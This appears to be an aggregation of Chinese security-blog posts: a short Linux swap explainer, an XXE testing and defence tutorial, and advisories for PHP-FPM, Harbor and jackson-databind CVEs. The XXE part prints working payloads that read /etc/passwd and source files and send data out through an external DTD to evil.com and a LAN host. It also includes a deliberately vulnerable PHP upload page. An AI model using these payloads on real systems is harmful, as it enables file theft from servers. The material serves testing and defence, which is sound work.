Linux swap分区及作用详解 Linux divides its physical RAM (random access memory) into chucks of memory called pages. Swapping is the process whereby a page of memory is copied to the preconfigured space on the hard disk, called swap space, to free up that page of memory. The combined sizes of the physical memory and the swap space is the amount of virtual memory available.Linux 把物理内存划分作称为分页（Page）的内存区块。内存交换是一个内存分页被复制到一个预配置的称为 swap 空间的硬盘空间里的过程，以此来释放内存分页。物理内存与这个 swap 空间的共同大小称为可用的虚拟内存量。在这里，保留 swap 分区有两个重要的原因。其一，当物理内存不足以支撑系统和应用程序（进程）的运作时，这个 swap 空间可以用作临时存放使用率不高的内存分页，把腾出的内存交给急需的应用程序（进程）使用。再有，即使你的机器拥有足够多的物理内存，也有一些程序会在它们初始化时残留的极少再用到的内存分页内容转移到 swap 空间，以此让出物理内存空间。对于有发生内存泄漏几率的应用程序（进程），swap 空间更是重要，因为谁也不想看到由于物理内存不足导致系统崩溃。

简单的XXE漏洞挖掘方法与防护 1.简单挖掘方法提交POST请求XML文件提交一个POST请求，请求头加上Content-type:application/xml同时添加测试代码<?xml version="1.0"encoding="utf-8"?>   <test>cat</test>通过OOB（Out-of-band)方法远程访问文件测试1.   自建一个网站开启80端口2.   在测试网站提交payload，如下<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">   ]>   <GeneralSearch>&dtgmlf6ent;</GeneralSearch>3.查看网站返回内容4.查看自建服务器访问日志，是否有DTD文件等请求2.确认XXE漏洞出于演示的目的，我们将用到一个Acunetix维护的demo站点，这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点，点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据，过程如下图所示：请求：响应：观察上面的请求与响应，我们可以看到，应用程序正在解析XML内容，接受特定的输入，然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容，我们发送如下的请求修改后的请求和响应：如上图所示，我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体，然后并将实体内容呈现出来了。 由此，我们可以确认，这个应用程序存在XXE漏洞<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>">  %payload; <?xml version="1.0" encoding="utf-8"?>    <!DOCTYPE root[      <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">      <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">      %dtd;        %send;]>    <root></root>3.寻找XXE1.检测xml是否被解析  <?xml version="1.0" encoding="ISO-8859-1"?> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>21</id> </Prod> </Prod>2.检测是否支持外部实体解析<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>&xxe</id> </Prod> </Prod>4.xxe 注入利用步骤在用户可控的XML数据里面将恶意内容写入到实体中，即可导致任意文件读取，系统命令执行等危害。（1）测试是否允许外部实体引用<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE root[   <!ELEMENT root (data)>   <!ELEMENT data (#PCDATA)>   <!ENTITY var "tzuxung">   ]>   <root>       <data>&var;</data>   </root>（2）任意文件读取<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE root[   <!ELEMENT root (data)>   <!ELEMENT data (#PCDATA)>   <!ENTITY var SYSTEM "file:///etc/passwd">   ]>   <root>       <data>&var;</data>   </root>（3）通过PHP：//过滤器读取<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE root[   <!ELEMENT root (data)>   <!ELEMENT data (#PCDATA)>   <!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php">   ]>   <root>       <data>&var;</data>   </root>（4）xxe注入测试代码xxe.php是一个存在XXE注入漏洞的简单页面<html>   <body>   <h1>XXE Example</h1>   <form method="post" enctype="multipart/form-data">       <label for="file">XML File:</label>       <input type="file" name="file" id="file">       <input type="submit" name="submit" value="Upload">   </form>       <h1>Result</h1>   <?php       if( isset($_FILES["file"])){           $doc = new DOMDocument();           $doc->validateOnParse = true;           $doc->Load($_FILES["file"]["tmp_name"]);           $tags = $doc->getElementsByTagName("data");           foreach($tags as $tag) {               echo "<pre>" . $tag->nodeValue . "</pre>\n";           }           } else {           echo "<h3>No file was selected for upload.</h3>";       }   ?>   </body>   </html>xxe自动化注入检查工具https://github.com/enjoiz/XXEinjectorXXE防御1.使用开发语言提供的禁用外部实体的方法PHP：   libxml_disable_entity_loader(true);JAVA:   DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();   dbf.setExpandEntityReferences(false);Python：   from lxml import etree   xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))2.过滤用户提交的XML数据 对变量：<!DOCTYPE和<!ENTITY，或者，SYSTEM和PUBLIC进行过滤.例如，让我们来试着定义一个新的自定义实体“harmless”。<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>现在，包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。<?xml version="1.0"?>   <!DOCTYPE results [<!ENTITY harmless "completely harmless">]>   <results>       <result>This result is &harmless;</result>   </results>XML解析器，例如PHP DOM，在解析这段XML时，会在加载完文档后立即处理这个自定义实体。因此，请求相关文本时，会得到如下的返回：This result is completely harmless下面的这个就肯定不是无害的输入：<?xml version="1.0"?>   <!DOCTYPE results [<!ENTITY harmless SYSTEM   "file:///var/www/config.ini">]>   <results>       <result>&harmless;</result>   </results>3.检查所使用的底层xml解析库，默认禁止外部实体的解析4.使用第三方应用代码及时升级补丁5.同时增强对系统的监控，防止此问题被人利用对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数<?php   libxml_disable_entity_loader(true);   ?>以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:<?php   // with the XMLReader functionality:   $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);   // with the DOM functionality:   $dom = new DOMDocument();   $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);   ?>>

【漏洞预警】php-fpm在特定nginx配置下远程代码执行漏洞（CVE-2019-11043） 漏洞描述nginx 配置项 fastcgi_split_path_info 在处理带有 %0a 的请求时遇到换行符 \n 会导致 PATH_INFO 为空，进而导致特定的攻击请求会修改php-fpm进程中的相关配置，在特殊配置情况下可导致远程代码执行漏洞，相关漏洞配置类似如下：``` location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... } }漏洞评级CVE-2019-11043 中危安全建议删除或修改如下配置，防止.php之后可传入任意字符（可能会影响正常业务）：``` fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; ``` 相关链接https://bugs.php.net/bug.php?id=78599https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/

【漏洞预警】Harbor 多个高危漏洞（CVE-2019-19029、CVE-2019-19026等） 漏洞描述Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.8.6和1.9.3之前版本的部分接口存在权限提升、SQL注入、用户枚举等多个高危漏洞。攻击者通过构造特定请求，可利用SQL注入获取大量敏感数据，或者将低权限账户提升为管理员权限账户，从而接管Harbor镜像仓库。漏洞评级CVE-2019-19023（高危）普通用户可以通过进行API调用来修改特定用户的电子邮件地址，从而获得管理员帐户特权。CVE-2019-19029（高危）Project-Admin功能权限用户可以利用Harbor API接口user-groups SQL注入漏洞从底层数据库读取机密信息或权限提升。CVE-2019-19026（中危）经过身份验证的管理员可以通过GET参数sort发送特制的SQL有效负载，从而允许从数据库中提取敏感信息。CVE-2019-3990（中危）/api/users/search 接口用户枚举漏洞。CVE-2019-19025（低危）Harbor Web界面缺少CSRF保护漏洞。影响版本Harbor 1.7.xHarbor 1.8.x < 1.8.6Harbor 1.9.x < 1.9.3安全版本Harbor 1.8.x >= 1.8.6Harbor 1.9.x >= 1.9.3安全建议升级Harbor版本到安全版本参考下载链接：https://github.com/goharbor/harbor/releases相关链接https://github.com/goharbor/harbor/security/advisories

【漏洞预警】jackson-databind 反序列化远程代码执行漏洞（CVE-2020-8840） 漏洞描述jackson-databind是一套开源java高性能JSON处理器，受影响版本的jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类，如org.apache.xbean.propertyeditor.JndiConverter，可导致攻击者使用JNDI注入的方式实现远程代码执行，漏洞需要配合xbean-reflect-*.jar组件才能成功利用，影响面适中。风险评级CVE-2020-8840 中危影响版本jackson-databind 2.9系列 < 2.9.10.3jackson-databind 2.8系列 < 2.8.11.5jackson-databind 低于2.8系列安全版本jackson-databind 2.10系列 全版本jackson-databind 2.9系列 >= 2.9.10.3jackson-databind 2.8系列 >= 2.8.11.5安全建议以下任意一种方法均可实现漏洞修复1、针对使用到jackson-databind组件的web服务升级jackson-databind组件至安全版本：https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.10.3/https://github.com/FasterXML/jackson-databind/releases2、针对无法升级jackson-databind的，排查并将xbean-reflect-*.jar组件从应用依赖中移除可阻止漏洞攻击（可能会导致应用不可用风险）相关链接https://github.com/FasterXML/jackson-databind/issues/2620https://nvd.nist.gov/vuln/detail/CVE-2020-8840https://github.com/FasterXML/jackson-databind/releases